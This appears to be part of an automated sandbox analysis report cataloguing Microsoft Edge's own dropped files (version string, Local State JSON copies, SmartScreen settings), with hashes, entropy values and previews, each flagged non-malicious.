Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF250c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF250d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2528b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2793d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ccbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3636e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c18c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

